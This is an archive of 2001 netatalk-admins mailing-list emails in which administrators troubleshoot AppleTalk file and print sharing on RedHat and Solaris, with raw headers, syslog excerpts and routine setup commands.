	for netatalk.administrators-members@umich.edu; Wed, 7 Nov 2001 05:43:30 -0500 (EST)
Received: from financialzoo.com ([61.6.65.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA13394
	for <netatalk-admins@umich.edu>; Wed, 7 Nov 2001 05:43:28 -0500 (EST)
Received: from webramp [61.6.65.2]
	by financialzoo.com [61.6.65.4]
	with SMTP (MDaemon.PRO.v4.0.2.R)
	for <netatalk-admins@umich.edu>; Wed, 07 Nov 2001 18:44:16 +0800
Message-ID: <003601c16779$4e617c80$df5158c6@webramp>
From: "Mike Soong" <mike.soong@financialzoo.com>
To: <netatalk-admins@umich.edu>
Subject: Connection
Date: Wed, 7 Nov 2001 18:45:24 +0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0033_01C167BC.5C632AC0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-MDRemoteIP: 61.6.65.2
X-Return-Path: mike.soong@financialzoo.com
X-MDaemon-Deliver-To: netatalk-admins@umich.edu

This is a multi-part message in MIME format.

------=_NextPart_000_0033_01C167BC.5C632AC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I 'm having this connection problem with IP share. It doesn't seem to =
find my linux server. I have install everything as stated in the =
documentation and the funny thing is, it works in RedHat 6.2 but not in =
7.1. Could the be anything that have blocked the connection.

Please advise. Thank you.


*******************************************************************************************************
All e-mails originating from financialzoo have been scanned for 
known viruses using MailScan version 2.

This email (including any attachments) is intended for the use of the individual or entity
named above and may contain information that is privileged and confidential. If you are
not the intended recipient, please note that any dissemination, distribution or copying of
this email is strictly prohibited. If you have received this email in error, or, being the
intended recipient, you do not receive the entirety of this email, please notify us
immediately by telephone at +603-7957 9622 or by return e-mail.
 
WARNING: This email has not been encrypted or transmitted via a secure link, and is
subject to the usual hazards of Internet communication. We do not guarantee the
inviolability or integrity of the contents of this email, nor do we guarantee that there has
been no unauthorised interception or modification of this email whilst in transit. Whilst
every effort has been made to ensure that this email is free from computer viruses and
other malicious code, we are unable to accept responsibility for any loss or damage
caused by or attributable to any such malicious code attached to or infecting this email.
*******************************************************************************************************

------=_NextPart_000_0033_01C167BC.5C632AC0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I 'm having this connection problem =
with IP share.=20
It doesn't seem to find my linux server. I have install everything as =
stated in=20
the documentation and the funny thing is, it works in RedHat 6.2 but not =
in 7.1.=20
Could the be anything that have blocked the connection.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Please advise. Thank=20
you.</FONT></DIV></BODY></HTML>


<html>
*******************************************************************************************************<br>
All e-mails originating from financialzoo have been scanned for <br>
known viruses using MailScan version 2.<br>
<br>
This email (including any attachments) is intended for the use of the individual or entity<br>
named above and may contain information that is privileged and confidential. If you are<br>
not the intended recipient, please note that any dissemination, distribution or copying of<br>
this email is strictly prohibited. If you have received this email in error, or, being the<br>
intended recipient, you do not receive the entirety of this email, please notify us<br>
immediately by telephone at +603-7957 9622 or by return e-mail.<br>
 <br>
WARNING: This email has not been encrypted or transmitted via a secure link, and is<br>
subject to the usual hazards of Internet communication. We do not guarantee the<br>
inviolability or integrity of the contents of this email, nor do we guarantee that there has<br>
been no unauthorised interception or modification of this email whilst in transit. Whilst<br>
every effort has been made to ensure that this email is free from computer viruses and<br>
other malicious code, we are unable to accept responsibility for any loss or damage<br>
caused by or attributable to any such malicious code attached to or infecting this email.<br>
*******************************************************************************************************<br>
<br>
</html>
------=_NextPart_000_0033_01C167BC.5C632AC0--



From netatalk.administrators-errors@umich.edu  Wed Nov  7 06:26:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA22668
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Nov 2001 06:26:00 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA16967
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Nov 2001 06:25:59 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA16947
	for netatalk.administrators-members@umich.edu; Wed, 7 Nov 2001 06:25:59 -0500 (EST)
Received: from jeeves.local (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA16903
	for <netatalk-admins@umich.edu>; Wed, 7 Nov 2001 06:25:58 -0500 (EST)
Received: from [192.168.0.151] (t1.local [192.168.0.151])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id fA7BPa811061;
	Wed, 7 Nov 2001 03:25:48 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 07 Nov 2001 03:25:41 -0800
Subject: Re: Connection
From: Steve Freitas <sflist@ihonk.com>
To: Mike Soong <mike.soong@financialzoo.com>, <netatalk-admins@umich.edu>
Message-ID: <B80E5A34.8BED%sflist@ihonk.com>
In-Reply-To: <003601c16779$4e617c80$df5158c6@webramp>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

>I 'm having this connection problem with IP share. It doesn't seem to find my
>linux server. I have install everything as stated in the documentation and the
>funny thing is, it works in RedHat 6.2 but not in 7.1. Could the be anything
>that have blocked the connection.

Mike, are you going to ever tell us what version of Netatalk you're using?
Have you looked for netatalk error messages in /var/log/messages? Anyway,
I'll take a shot at your problem.

If I remember correctly, Redhat 7 stopped loading the AppleTalk module by
default. See if this fixes the problem. As root, do:

[root@linux]# insmod appletalk
[root@linux]# /etc/init.d/atalk restart

Once it's done reloading, see if it behaves normally now. If this fixes it,
then you can solve this problem permanently by adding the following line to
/etc/modules.conf:

alias net-pf-5 appletalk

Good luck,

Steve


From netatalk.administrators-errors@umich.edu  Wed Nov  7 11:43:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA05222
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Nov 2001 11:43:50 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA25311
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Nov 2001 11:43:50 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA25302
	for netatalk.administrators-members@umich.edu; Wed, 7 Nov 2001 11:43:50 -0500 (EST)
Received: from escalus.arlington.k12.va.us (escalus.arlington.k12.va.us [158.59.255.14])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA25261
	for <netatalk-admins@umich.edu>; Wed, 7 Nov 2001 11:43:48 -0500 (EST)
Received: from groupwise.arlington.k12.va.us (groupwise.arlington.k12.va.us [158.59.136.15])
	by escalus.arlington.k12.va.us (Postfix) with SMTP id 9042029
	for <netatalk-admins@umich.edu>; Wed,  7 Nov 2001 11:43:46 -0500 (EST)
Received: from APS-Message_Server by groupwise.arlington.k12.va.us
	with Novell_GroupWise; Wed, 07 Nov 2001 11:43:44 -0500
Message-Id: <sbe91e70.029@groupwise.arlington.k12.va.us>
X-Mailer: Novell GroupWise 5.5.2
Date: Wed, 07 Nov 2001 11:43:36 -0500
From: "Matt Smith" <MSMITH@arlington.k12.va.us>
To: <netatalk-admins@umich.edu>
Subject:  Disconnections
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline

Users are being disconnected from the Netatalk server

BSD 4.4  
netatalk-1.4b2+asun2.1.3_1
atalkd not running, IP connections only.

Workstations are 8.6, 9.04 and 9.21 in a Macintosh Manager
environment.

The disconnects seem to occur when the user is doing a large write
(possibly a read as well) to the server.  

The kernal log displays the error

> Nov  6 10:11:46 crombie afpd[92854]: afp_alarm: child timed out
> Nov  6 10:11:53 crombie afpd[92715]: dsi_stream_read(-1): Connection
reset by peer
> Nov  6 10:11:53 crombie afpd[92715]: dsi_stream_write: Broken pipe
> Nov  6 10:11:53 crombie afpd[92715]: dsi_stream_write: Broken pipe
> Nov  6 10:14:58 crombie afpd[92832]: afp_alarm: child timed out

I'm not sure if the child time out is before or after the process dies,
and it may not be related as the pattern is not absolute.  The three
dsi_stream errors are always in sequence.

Here's the hard part, I can't upgrade to a newer version of netatalk
because of an incompatability with Inspiration.

Thoughts?  I've scanned the listserv archives and couldn't find
anything.


****************************************
Matt Smith - Network Analyst - Arlington Public Schools
"I have found that most people are about as happy as they make
up their minds to be" - Lincoln
****************************************

From netatalk.administrators-errors@umich.edu  Wed Nov  7 16:33:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA22632
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Nov 2001 16:33:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA12848
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Nov 2001 16:33:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA12835
	for netatalk.administrators-members@umich.edu; Wed, 7 Nov 2001 16:33:07 -0500 (EST)
Received: from jeeves.local (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA12801
	for <netatalk-admins@umich.edu>; Wed, 7 Nov 2001 16:33:06 -0500 (EST)
Received: from [192.168.0.151] (t1.local [192.168.0.151])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id fA7LWx811588;
	Wed, 7 Nov 2001 13:32:59 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 07 Nov 2001 13:33:01 -0800
Subject: Re: Connection
From: Steve Freitas <sflist@ihonk.com>
To: Mike Soong <mike.soong@financialzoo.com>,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B80EE88C.8C03%sflist@ihonk.com>
In-Reply-To: <003c01c167ae$15b5f020$f20818d3@mike>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> The version I'm using is 1.4b2+asun2.1.1.x86-shadow-linux.tar.gz
> Thank you.

Mike, I HIGHLY recommend you update to Netatalk 1.5pre6. There's even an RPM
available especially for RH 7. Use the Mandrake RPM for RH 6. Get it from:

http://sourceforge.net/project/showfiles.php?group_id=8642&release_id=55872

Steve


From netatalk.administrators-errors@umich.edu  Wed Nov  7 21:06:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA05102
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Nov 2001 21:06:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA28130
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Nov 2001 21:06:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA28115
	for netatalk.administrators-members@umich.edu; Wed, 7 Nov 2001 21:06:41 -0500 (EST)
Received: from jeeves.local (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA28065
	for <netatalk-admins@umich.edu>; Wed, 7 Nov 2001 21:06:39 -0500 (EST)
Received: from [192.168.0.151] (t1.local [192.168.0.151])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id fA826N811787;
	Wed, 7 Nov 2001 18:06:31 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 07 Nov 2001 18:06:01 -0800
Subject: Re: Connection
From: Steve Freitas <sflist@ihonk.com>
To: Mike Soong <mike.soong@financialzoo.com>,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B80F2888.8C0B%sflist@ihonk.com>
In-Reply-To: <001101c167f8$53d67b00$df5158c6@webramp>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> If I use rpm for installation, do I need to recompile my kernel and which
> directory would be the netatalk be installed in?
> 
> Thank you.

Mike,

You really need to read documentation. No, you don't need to recompile your
kernel. You haven't needed to recompile your kernel for years, as far as I
know.

If you're using RH7, download the installer, and do this:

[root@linux]# rpm -i netatalk-1.5pre6-1rh7.i386.rpm
[root@linux]# /sbin/insmod appletalk
[root@linux]# /etc/init.d/atalk start

After it's started up, check it out. If it works, _then_ you should fiddle
with your config files.

Netatalk will be installed in various directories. After you've installed
it, for a list of where the files are, do this command:

[root@linux]# rpm -ql netatalk

If you want to edit the configuration files, do so in /etc/atalk. If you
want to start or stop it, do:

/etc/init.d/atalk stop

...or...

/etc/init.d/atalk start

Also, make sure you're running the latest available version of AppleShare
Client on the 8.1 machine.

Steve


From netatalk.administrators-errors@umich.edu  Wed Nov  7 21:57:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA06941
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Nov 2001 21:57:06 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA19213
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Nov 2001 21:57:06 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA19202
	for netatalk.administrators-members@umich.edu; Wed, 7 Nov 2001 21:57:06 -0500 (EST)
Received: from jeeves.local (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA19142
	for <netatalk-admins@umich.edu>; Wed, 7 Nov 2001 21:57:04 -0500 (EST)
Received: from [192.168.0.151] (t1.local [192.168.0.151])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id fA82ut811836;
	Wed, 7 Nov 2001 18:56:55 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 07 Nov 2001 18:56:28 -0800
Subject: Re: Connection
From: Steve Freitas <sflist@ihonk.com>
To: Mike Soong <mike.soong@financialzoo.com>,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B80F345B.8C0F%sflist@ihonk.com>
In-Reply-To: <003601c167fe$88b06420$df5158c6@webramp>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> As I understand from the documnetation, when you compile the
> 1.4b2+asun2.1.1.x86-shadow-linux.tar.gz file the netatalk will be installed
> into /usr/local/directory.... so which directory will the rpm will install
> the netatalk because I think I still have to specify the AppleVolume.system
> and afpd.conf to allow user connection and directory to be shared out do I?

The RPM will install it in a different place. The config files you're
talking about will be in /etc/atalk. But get the thing started first, make
sure it works, THEN substitute your own files.

Steve


From netatalk.administrators-errors@umich.edu  Wed Nov  7 22:23:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA07860
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Nov 2001 22:23:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA01969
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Nov 2001 22:23:07 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA01953
	for netatalk.administrators-members@umich.edu; Wed, 7 Nov 2001 22:23:07 -0500 (EST)
Received: from chmls16.mediaone.net (chmls16.mediaone.net [24.147.1.151])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA01902
	for <netatalk-admins@umich.edu>; Wed, 7 Nov 2001 22:23:05 -0500 (EST)
Received: from pricklypear (h00600869d855.ne.mediaone.net [24.147.78.34])
	by chmls16.mediaone.net (8.11.1/8.11.1) with SMTP id fA83N5T03089
	for <netatalk-admins@umich.edu>; Wed, 7 Nov 2001 22:23:05 -0500 (EST)
From: "Paul Moore" <pcmoore@engin.umich.edu>
To: <netatalk-admins@umich.edu>
Subject: papd seems be stuck
Date: Wed, 7 Nov 2001 22:20:55 -0500
Message-ID: <EPEFKCBGHCNONKINNGNLEEFOCJAA.pcmoore@engin.umich.edu>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal

hello,

i am running netatalk 1.5pre6 on redhat 7.1 with a 2.4.13 kernel, my problem
involves papd getting stuck whenever i send a print job.  before i get into
details here are the relevant portions of my printcap and papd.conf files ...

* printcap
default:\
        :sh:\
        :ml=0:\
        :mx=0:\
        :sd=/var/spool/lpd/default:\
        :rm=192.168.0.15:\
        :rp=L1:\
        :lpd_bounce=true:\
        :if=/usr/share/printconf/mf_wrapper:

* papd.conf
epson800:\
        :pr=|/usr/bin/lpr -Pdefault:\
        :pd=/etc/atalk/ppd/aplwntr1.ppd:\
        :sp:\
        :ca:\
        :am=uams_clrtxt.so:

as you can see i have the netatalk server acting as a 'gateway' to a dedicated
print server.  the print server is a netgear ps110 with an epson stylus color
800 attached.  i have apple file sharing, samba sharing and printing, as well as
normal lpr printing working without problems ... pap seems to be giving me grief
however.

the only messages papd sends to syslog are the following ...

Nov  7 21:54:10 server papd[11461]: Authentication enabled: epson800
Nov  7 21:54:10 server papd[11461]: register epson800:LaserWriter@*
Nov  7 21:54:10 server papd[11461]: uam: uams_clrtxt.so loaded
Nov  7 21:54:18 server papd[11461]: child 11470 for "epson800" from 65280.76
Nov  7 21:54:32 server PAM_pwdb[11470]: (netatalk) session opened for user kcols
on by (uid=0)
Nov  7 21:54:32 server papd[11470]: Login ClearTxtUAM: kcolson
Nov  7 21:54:32 server PAM_pwdb[11470]: (netatalk) session closed for user kcols
on
Nov  7 21:56:02 server papd[11461]: child 11470 done

i took a look at the traffic between the linux box and the mac (os 8.6.5 running
laserwriter 8.6.5) and it appears that the mac keeps sending some status request
message (small 8 to 12 byte ddp data) and the server occasionally sends a status
message that it is spooling to the printer, this message is displayed on the
mac's status dialog.  i took a quick look at the papd source and it is the
default status message.  this goes on for  about two minutes then the mac seems
to hit some timeout and cancels the job saying communication was established but
the printer is not responding.

has anyone seen this before, and/or more importantly can anyone offer any
advice?

thanks,

.... pcmoore@engin.umich.edu .... www.alumni.engin.umich.edu/~pcmoore ....


From netatalk.administrators-errors@umich.edu  Thu Nov  8 01:22:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA15193
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Nov 2001 01:22:59 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id BAA13191
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Nov 2001 01:22:59 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id BAA13180
	for netatalk.administrators-members@umich.edu; Thu, 8 Nov 2001 01:22:59 -0500 (EST)
Received: from jeeves.local (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id BAA13103
	for <netatalk-admins@umich.edu>; Thu, 8 Nov 2001 01:22:53 -0500 (EST)
Received: from [192.168.0.151] (t1.local [192.168.0.151])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id fA86Mi811962;
	Wed, 7 Nov 2001 22:22:44 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 07 Nov 2001 22:22:47 -0800
Subject: Re: Thank you
From: Steve Freitas <sflist@ihonk.com>
To: Mike Soong <mike.soong@financialzoo.com>,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B80F64B7.8C15%sflist@ihonk.com>
In-Reply-To: <008e01c1681a$d7d54040$df5158c6@webramp>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> Thank you for your advice about netatalk. But there is still one little
> problem I haven't sorted it out, that is Mac OS 8.1 with Apple Share ver.
> 3.7.4 will hanged my machine when it try to connect to the server. It works
> well with my Mac OS 9.1 with Apple Share ver.3.8.9. Currently I'm using
> RedHat Linux 7.1 with netatalk 1.5pre6. What could be the problem. Please
> advice.

Mike, you're not running the latest version of AppleShare client on Mac OS
8.1. Upgrade to 3.8.6 and try again.

Steve


From netatalk.administrators-errors@umich.edu  Thu Nov  8 02:06:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA16748
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Nov 2001 02:06:59 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA25289
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Nov 2001 02:06:59 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA25276
	for netatalk.administrators-members@umich.edu; Thu, 8 Nov 2001 02:06:59 -0500 (EST)
Received: from puma.qimr.edu.au (puma.qimr.edu.au [152.98.32.20])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA25185
	for <netatalk-admins@umich.edu>; Thu, 8 Nov 2001 02:06:56 -0500 (EST)
Received: from qimr.edu.au (drill [152.98.32.83])
	by puma.qimr.edu.au (8.9.3/8.9.3) with ESMTP id RAA25523
	for <netatalk-admins@umich.edu>; Thu, 8 Nov 2001 17:02:44 +1000 (EST)
Message-ID: <3BEA2FB6.AAEA3332@qimr.edu.au>
Date: Thu, 08 Nov 2001 17:09:43 +1000
From: Xiaping Lin <xiapingL@qimr.edu.au>
Organization: QIMR
X-Mailer: Mozilla 4.78 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: [Fwd: netatalk-1.4b2+asun2.1.4 on Solaris 8 broadcast timeout]
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

Did not receive any reply, here is it again.

Is it possible that I need to apply some patches to netatalk-1.4b2+asun2.1.4
on Solaris 8 machine.
I have been reading following doc

http://www.mtusysadm.mtu.edu/mtudocs/netatalk/netatalk-combo.html

can anyone tell me which patch I need to apply to fix this problem? Look
like it's
broadcast problem, right?

BTW, what is the difference between asun's source, such as
netatalk-1.4b2+asun2.1.4,  and
netatalk-990130 ?

Looking forward to hearing from you!

Thanks!


Xiaping Lin wrote:

> Hi,
>
> On SUN Enterprise server running Solaris8, I installed the pre-compiled
> abovementioned
> tar ball (solaris8-TCP.tar.gz) of Tim Carlson from
>
> ftp://ftp.santafe.edu/pub/unix/netatalk/
>
> Everything works well, except I can not see the server in Mac's Chooser.
> The server name seems
> dropped out every 13 minutes or so. The server name will show up the
> Chooser if I do "nbplkup".
> I have to do "nbplkup" constently in order to keep server name in the
> Chooser.
>
> The ddp kernel driver seems installed fine. /etc/config, /etc/services,
> etc have been modified according to README file.
>
> Following is the netatalk related syslog messages when machine boots up.
>
> What does "incompatible w/ Solaris STREAMS module." means? Is this the
> problem?
>
> Nov  7 09:56:40 ddp: [ID 772870 kern.info] netatalk 1.4b2+asun2.1.4
> Nov  7 09:57:27 atalkd[1190]: [ID 441591 user.info] plumbed /dev/ge0
> Nov  7 09:57:27 atalkd[1191]: [ID 602610 daemon.info] restart
> (1.4b2+asun2.1.4)
> Nov  7 09:57:27 atalkd[1191]: [ID 430690 daemon.info] setsockopt
> incompatible w/ Solaris ST
> REAMS module.
> Nov  7 09:57:29  last message repeated 1 time
> Nov  7 09:57:29 atalkd[1191]: [ID 875075 daemon.info] zip_getnetinfo for
> ge0
> Nov  7 09:57:47  last message repeated 2 times
> Nov  7 09:57:57 atalkd[1191]: [ID 877925 daemon.info] config for no
> router
> Nov  7 09:57:59 atalkd[1191]: [ID 430690 daemon.info] setsockopt
> incompatible w/ Solaris ST
> REAMS module.
> Nov  7 09:57:59 atalkd[1191]: [ID 128247 daemon.info] ready 0/0/0
> Nov  7 09:58:12 papd[1207]: [ID 602610 lpr.info] restart
> (1.4b2+asun2.1.4)
>
> I don't have SUN C compiler, so, can't compile the ddp kernel drive
> myself.
> Is there any other pre-compiled netatalk for Solaris 8 somewhere that I
> can try out?
>
> Can anyone help me with this problem?
>
> Thanks in advance!
>
> --
> Xiaping Lin


From netatalk.administrators-errors@umich.edu  Thu Nov  8 12:27:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA09818
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Nov 2001 12:27:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA11284
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Nov 2001 12:27:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA11266
	for netatalk.administrators-members@umich.edu; Thu, 8 Nov 2001 12:27:05 -0500 (EST)
Received: from cefni.aber.ac.uk (cefni.aber.ac.uk [144.124.16.40])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA11240
	for <netatalk-admins@umich.edu>; Thu, 8 Nov 2001 12:27:03 -0500 (EST)
Received: from tigger.dcs.aber.ac.uk ([193.60.10.47] helo=aber.ac.uk)
	by cefni.aber.ac.uk with esmtp (Exim 3.21 #1)
	id 161sxC-0005Cx-00
	for netatalk-admins@umich.edu; Thu, 08 Nov 2001 17:27:02 +0000
X-Mailer: exmh version 2.0.2 2/24/98
To: netatalk-admins@umich.edu
Subject: netatalk with Solaris 8
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 08 Nov 2001 17:27:02 +0000
Message-ID: <28216.1005240422@aber.ac.uk>
From: Matthew Hallam <meh@aber.ac.uk>

Hello all.

Im trying put in place a Solaris 8 box with netatalk-1.5pre8 and have 
come to a halt. Ive got it compiled and installed ok.. but it doesnt 
seem to be working (!).. ie it doesnt up in the apple's chooser, and when
you do a nbplkup, none of the other macs (or indeed the other netatalk 
server we're running) show up - just the local machine (they are all on 
the same subnet).

The messages file looks like this:

Nov  8 10:02:28 barage atalkd[522]: [ID 602610 daemon.info] restart (1.5pre7)
Nov  8 10:02:28 borage atalkd[522]: [ID 430690 daemon.info] setsockopt incompatible w/ Solaris STREAMS module.
Nov  8 10:02:30 barage last message repeated 1 time
Nov  8 10:02:30 barage atalkd[522]: [ID 875075 daemon.info] zip_getnetinfo for le0
Nov  8 10:02:48 barage last message repeated 2 times
Nov  8 10:02:58 barage atalkd[522]: [ID 882285 daemon.info] as_timer configured le0 phase 2 from seed
Nov  8 10:02:58 barage atalkd[522]: [ID 128247 daemon.info] ready 0/0/0
Nov  8 10:03:12 barage afpd[534]: [ID 950474 daemon.info] ASIP started on x.
x.x.x:548(1) (1.5pre7)
Nov  8 10:03:12 barage afpd[534]: [ID 526081 daemon.info] uam: uam not found (status=-1)

